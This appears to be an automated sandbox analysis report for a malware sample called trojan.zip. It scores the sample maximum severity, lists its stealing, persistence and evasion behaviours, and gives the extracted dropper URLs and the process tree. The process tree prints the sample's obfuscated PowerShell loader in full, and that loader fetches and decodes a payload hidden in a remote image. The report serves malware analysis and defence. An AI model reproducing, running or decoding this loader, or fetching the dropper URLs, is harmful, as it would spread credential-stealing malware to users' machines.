Overview

overview

10

Static

static

1

trojan.zip

windows11-21h2-x64

10

Resubmissions

19/10/2024, 12:42

241019-pxgp7swerd10

19/10/2024, 11:58

241019-n5afesvcng10

07/09/2024, 15:15

240907-smxkfssard10

Analysis

  • max time kernel
    1317s
  • max time network
    1752s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240802-en
  • resource tags

    arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    19/10/2024, 12:42

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    trojan.zip
  • Size 261KB
  • Sample241019-pxgp7swerd
  • SHA256 c6536df88716c2f13ce3bde50d778f9c42106048a98ce7d3351889775c82563c
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
credential_accessdefense_evasiondiscoveryexecutionmotwpersistencephishingprivilege_escalationspywarestealer

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg
  • exe.dropper

    https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg

Signatures

  • Blocklisted process makes network request 8 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 19 IoCs

    Run Powershell and hide display window.

    execution
  • Downloads MZ/PE file
  • Drops file in Drivers directory 21 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 4 IoCs
    persistence
  • Credentials from Password Stores: Windows Credential Manager 1 TTPs

    Suspicious access to Credentials History.

    credential_accessstealer
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 11 IoCs
  • Loads dropped DLL 64 IoCs
  • Modifies system executable filetype association 2 TTPs 3 IoCs
    persistence
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks for any installed AV software in registry 1 TTPs 9 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Maps connected drives based on registry 3 TTPs 3 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Mark of the Web detected: This indicates that the page was originally saved or cloned. 1 IoCs
    phishingmotw
  • Drops file in System32 directory 64 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 64 IoCs
  • Subvert Trust Controls: Mark-of-the-Web Bypass 1 TTPs 1 IoCs

    When files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.

    defense_evasion
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Command and Scripting Interpreter: JavaScript 1 TTPs
    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Time Discovery 1 TTPs 3 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 64 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 11 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 64 IoCs
  • Kills process with taskkill 1 IoCs
    evasion
  • Modifies Internet Explorer settings 1 TTPs 4 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 5 IoCs
    evasionspywaretrojan
  • NTFS ADS 1 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
    ransomware
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 3 IoCs
  • Suspicious behavior: LoadsDriver 11 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 35 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Program Files\7-Zip\7zFM.exe
    "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\trojan.zip"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:244
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zO4F0AF2FA\trojan.js"
      2⤵
        PID:3028
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹YQBn↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹VQBy↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹JwBo↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bw↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹Og↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹aQBh↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹M↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹x↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹M↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹dQBz↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹YQBy↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹cgBn↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹MQ↦ ☰ ䷸ ㈽ ⺹w↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹aQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bQBz↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bo↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹bwB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹Xw↦ ☰ ䷸ ㈽ ⺹y↦ ☰ ䷸ ㈽ ⺹D↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Mg↦ ☰ ䷸ ㈽ ⺹0↦ ☰ ䷸ ㈽ ⺹D↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Nw↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBh↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹Bu↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹agBw↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹dwBl↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹QwBs↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹ZQBu↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹TgBl↦ ☰ ䷸ ㈽ ⺹Hc↦ ☰ ䷸ ㈽ ⺹LQBP↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹agBl↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹TgBl↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹LgBX↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹YgBD↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹aQBl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹aQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹ZwBl↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹eQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹cw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Hc↦ ☰ ䷸ ㈽ ⺹ZQBi↦ ☰ ䷸ ㈽ ⺹EM↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgB0↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹R↦ ☰ ䷸ ㈽ ⺹Bv↦ ☰ ䷸ ㈽ ⺹Hc↦ ☰ ䷸ ㈽ ⺹bgBs↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹EQ↦ ☰ ䷸ ㈽ ⺹YQB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹K↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bQBh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQBV↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹YQBn↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹V↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹V↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹EU↦ ☰ ䷸ ㈽ ⺹bgBj↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹ZwBd↦ ☰ ䷸ ㈽ ⺹Do↦ ☰ ䷸ ㈽ ⺹OgBV↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹Rg↦ ☰ ䷸ ㈽ ⺹4↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹RwBl↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹UwB0↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹aQBu↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹K↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bQBh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQBC↦ ☰ ䷸ ㈽ ⺹Hk↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹KQ↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹8↦ ☰ ䷸ ㈽ ⺹Dw↦ ☰ ䷸ ㈽ ⺹QgBB↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹RQ↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹DQ↦ ☰ ䷸ ㈽ ⺹XwBT↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹QQBS↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹Pg↦ ☰ ䷸ ㈽ ⺹+↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹8↦ ☰ ䷸ ㈽ ⺹Dw↦ ☰ ䷸ ㈽ ⺹QgBB↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹RQ↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹DQ↦ ☰ ䷸ ㈽ ⺹XwBF↦ ☰ ䷸ ㈽ ⺹E4↦ ☰ ䷸ ㈽ ⺹R↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹+↦ ☰ ䷸ ㈽ ⺹D4↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bQBh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQBU↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹B0↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹E8↦ ☰ ䷸ ㈽ ⺹Zg↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹KQ↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹ZQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹aQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹ZwBl↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹LgBJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹TwBm↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹BG↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹YQBn↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹BJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹BJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cs↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹LgBM↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgBn↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹YgBh↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹DQ↦ ☰ ䷸ ㈽ ⺹T↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹ZwB0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹BJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹YQBy↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bi↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cwBl↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹N↦ ☰ ䷸ ㈽ ⺹BD↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹aQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹ZwBl↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹LgBT↦ ☰ ䷸ ㈽ ⺹HU↦ ☰ ䷸ ㈽ ⺹YgBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹cgBp↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Zw↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹s↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bi↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cwBl↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹N↦ ☰ ䷸ ㈽ ⺹BM↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgBn↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ 